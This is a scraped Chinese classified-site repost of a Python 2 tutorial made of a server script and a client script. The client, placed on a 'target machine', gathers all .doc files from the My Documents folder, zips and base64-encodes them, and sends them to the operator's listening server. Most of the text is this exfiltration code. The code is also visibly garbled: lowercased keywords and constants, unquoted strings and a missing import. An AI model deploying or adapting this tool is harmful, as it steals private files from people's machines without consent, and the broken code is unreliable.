您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

python实现获取客户机上指定文件并传输到服务器的方法

2024/3/4 4:18:19发布21次查看
本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:
该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extname可以获取其它类型文件
服务器端程序:
复制代码 代码如下:# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    host = '127.0.0.1'
    port = 2000
    buf_size = 6553500 #6m
    key = 'ouyang'
    timeout = 5
    dicname = ouyang\\
    ss = socket.socket(socket.af_inet,socket.sock_stream)
    try:
        ss.bind((host,port))
        ss.listen(5)
        print wating for conntecting...
        while true:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send(200 connected!)
                #获取加密数据
                encode_data = cs.recv(buf_size)
                #把数据写到out.zip文件
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except ioerror,e:
                    print 'strange error creating ioerror:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2进制 解密 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打开zip文件
                zfile = zipfile.zipfile('out.zip','r')
                #创建一个文件夹来存放获取的zip文件
                if not os.path.exists(dicname):
                    os.mkdir(dicname)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicname+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print finished!!!
                zfile.close()
                #后续处理 删除临时文件
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()客户端程序:
复制代码 代码如下:# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extname,topdown=true):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extname:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extname:
                filelist.append(os.path.join(root,name))
def main():      
    host = '127.0.0.1'
    port = 2000
    buf_size = 65535
    key = 'ouyang'
    dicname = c:\documents and settings\administrator\我的文档
    extname = '.doc'
    #遍历搜索我的文档的doc类型
    try:
        filelist = []
        walk_dir(dicname,filelist,extname)
    except ioerror,e:
        print 文件处理错误: % e
        sys.exit(-1)
    cs = socket.socket(socket.af_inet, socket.sock_stream)
    try:
        cs.connect((host,port))
        print cs.recv(buf_size)
        #压缩成zip文件
        zfile = zipfile.zipfile('in.zip','w',zipfile.zip_deflated)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2进制 加密 encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        #后续处理 删除中间文件
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket 出错啦:' % e
        cs.close()
if __name__=='__main__':
    main()希望本文所述对大家的python程序设计有所帮助。
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product